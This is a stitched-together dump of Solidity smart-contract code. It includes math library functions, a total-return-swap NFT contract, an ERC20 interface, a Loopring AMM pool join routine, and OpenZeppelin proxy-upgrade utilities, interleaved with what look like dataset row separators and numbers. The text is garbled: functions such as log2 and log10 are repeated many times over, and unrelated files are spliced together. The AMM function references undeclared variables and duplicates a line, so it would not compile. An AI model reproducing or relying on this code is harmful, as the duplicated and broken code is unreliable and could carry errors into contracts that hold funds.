return 0;
}
unchecked {
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
result = (result + a / result) >> 1;
return min(result, a / result);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = sqrt(a);
return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);
}
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 128;
}
if (value >> 64 > 0) {
value >>= 64;
result += 64;
}
if (value >> 32 > 0) {
value >>= 32;
result += 32;
}
if (value >> 16 > 0) {
value >>= 16;
result += 16;
}
if (value >> 8 > 0) {
value >>= 8;
result += 8;
}
if (value >> 4 > 0) {
value >>= 4;
result += 4;
}
if (value >> 2 > 0) {
value >>= 2;
result += 2;
}
if (value >> 1 > 0) {
result += 1;
}
}
return result;
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log2(value);
return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);
}
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10**64) {
value /= 10**64;
result += 64;
}
if (value >= 10**32) {
value /= 10**32;
result += 32;
}
if (value >= 10**16) {
value /= 10**16;
result += 16;
}
if (value >= 10**8) {
value /= 10**8;
result += 8;
}
if (value >= 10**4) {
value /= 10**4;
result += 4;
}
if (value >= 10**2) {
value /= 10**2;
result += 2;
}
if (value >= 10**1) {
result += 1;
}
}
return result;
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
}
}
function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log10(value);
return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);
}
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >> 128 > 0) {
value >>= 128;
result += 16;
}
if (value >> 64 > 0) {
value >>= 64;
result += 8;
}
if (value >> 32 > 0) {
value >>= 32;
result += 4;
}
if (value >> 16 > 0) {
value >>= 16;
result += 2;
}
if (value >> 8 > 0) {
result += 1;
}
}
return result;
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {
unchecked {
uint256 result = log256(value);
return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);
}
}
}
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// SPDX-License-Identifier: None
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// initializing the CFA Library
import "../interfaces/ISwapReceiver.sol";
contract TSwaps is ERC721, Ownable{
uint public index = 0;
address public token;
mapping(uint => uint) public payerRequiredFlowRates; //Required payments for each payer NFT
struct asset{
uint amountUnderlyingExposed;
uint priceUSD;
address oracle;
}
mapping(uint => asset) public receiverAssetsOwed;
constructor(address _token) Ownable() ERC721("Total Return Swap", "TRS"){
token = _token;
}
event NewSwap(address _receiver, address _payer);
/// @dev to be called by strategies. Anyone can make swaps. But it's the strategies that have the assets
function newSwap(address _receiver, address _payer, uint _requiredFlowRate, uint _amountUnderlying) external{
require(ISwapReceiver(_receiver).verifyNewSwap(msg.sender,_amountUnderlying), "This receiver did not permit you to issue this swap");
_mintReceiver(_receiver,_amountUnderlying); // note receiver will always have an even ID 0,2,4,ect.
_mintPayer(_payer,_requiredFlowRate); // note payer will always have an odd ID 1,3,5,ect.
emit NewSwap(_receiver, _payer);
}
// for working on later
function settleBalances() external{}
function _mintReceiver(address _receiver, uint _amountUnderlying) internal{
_mint(_receiver,index);
// note this will need to use an oracle to get USD value
asset memory a =asset(_amountUnderlying, _amountUnderlying, address(0));
_updateReceiverAssetsOwed(index,a);
index++;
}
function _mintPayer(address _payer, uint _requiredFlowRate) internal{
_mint(_payer,index);
_updatePayerRequiredFlowRates(index,_requiredFlowRate);
index++;
}
function _updatePayerRequiredFlowRates(uint _index, uint _requiredFlowRate) internal{
require(_index % 2 == 1, "Can only updated flow rates for payers");
payerRequiredFlowRates[_index] = _requiredFlowRate;
}
function _updateReceiverAssetsOwed(uint _index, asset memory a) internal{
require(_index % 2 == 0, "Can only updated assets owed for receivers");
receiverAssetsOwed[_index] = a;
}
}
|
note this will need to use an oracle to get USD value
|
function _mintReceiver(address _receiver, uint _amountUnderlying) internal{
_mint(_receiver,index);
asset memory a =asset(_amountUnderlying, _amountUnderlying, address(0));
_updateReceiverAssetsOwed(index,a);
index++;
}
| 12,592,798
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./full_match/42/0x06f88e5D06008226De3F6E65619E7a36aa503e9C/sources/TGK.sol
|
* @dev Interface of the ERC20 standard as defined in the EIP./
|
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
| 9,585,086
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./partial_match/1/0xE6AbFcABE24F06197a7A20dc9c81c251f2862430/sources/LoopringAmmPool.sol
|
Check if we can still use this join
|
function _calculateJoinAmounts(
AmmData.Context memory ctx,
AmmData.PoolJoin memory join
)
private
pure
returns(
bool slippageOK,
uint96 mintAmount,
uint96[] memory amounts
)
{
amounts = new uint96[](ctx.tokens.length);
if (ctx.totalSupply == 0) {
return(true, AmmData.POOL_TOKEN_BASE().toUint96(), join.joinAmounts);
}
for (uint i = 0; i < ctx.tokens.length; i++) {
if (ctx.tokenBalancesL2[i] > 0) {
uint amountOut = uint(join.joinAmounts[i])
.mul(ctx.totalSupply) / uint(ctx.tokenBalancesL2[i]);
if (!initialized) {
initialized = true;
mintAmount = amountOut.toUint96();
mintAmount = amountOut.toUint96();
}
}
}
if (mintAmount == 0) {
return (false, 0, amounts);
}
for (uint i = 0; i < ctx.tokens.length; i++) {
amounts[i] = (ratio.mul(ctx.tokenBalancesL2[i]) / AmmData.POOL_TOKEN_BASE()).toUint96();
}
slippageOK = (mintAmount >= join.mintMinAmount);
return (slippageOK, mintAmount, amounts);
}
| 3,662,177
|
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// File: @openzeppelin/contracts/utils/StorageSlot.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot)
internal
pure
returns (AddressSlot storage r)
{
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot)
internal
pure
returns (BooleanSlot storage r)
{
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot)
internal
pure
returns (Bytes32Slot storage r)
{
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot)
internal
pure
returns (Uint256Slot storage r)
{
assembly {
r.slot := slot
}
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/proxy/beacon/IBeacon.sol
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File: @openzeppelin/contracts/proxy/ERC1967/ERC1967Upgrade.sol
pragma solidity ^0.8.2;
/**
* @dev This abstract contract provides getters and event emitting update functions for
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.
*
* _Available since v4.1._
*
* @custom:oz-upgrades-unsafe-allow delegatecall
*/
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT =
0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(
Address.isContract(newImplementation),
"ERC1967: new implementation is not a contract"
);
StorageSlot
.getAddressSlot(_IMPLEMENTATION_SLOT)
.value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting =
StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(
oldImplementation == _getImplementation(),
"ERC1967Upgrade: upgrade breaks further upgrades"
);
// Finally reset to the new implementation and log the upgrade
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(
IBeacon(newBeacon).implementation(),
data
);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(
newAdmin != address(0),
"ERC1967: new admin is the zero address"
);
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
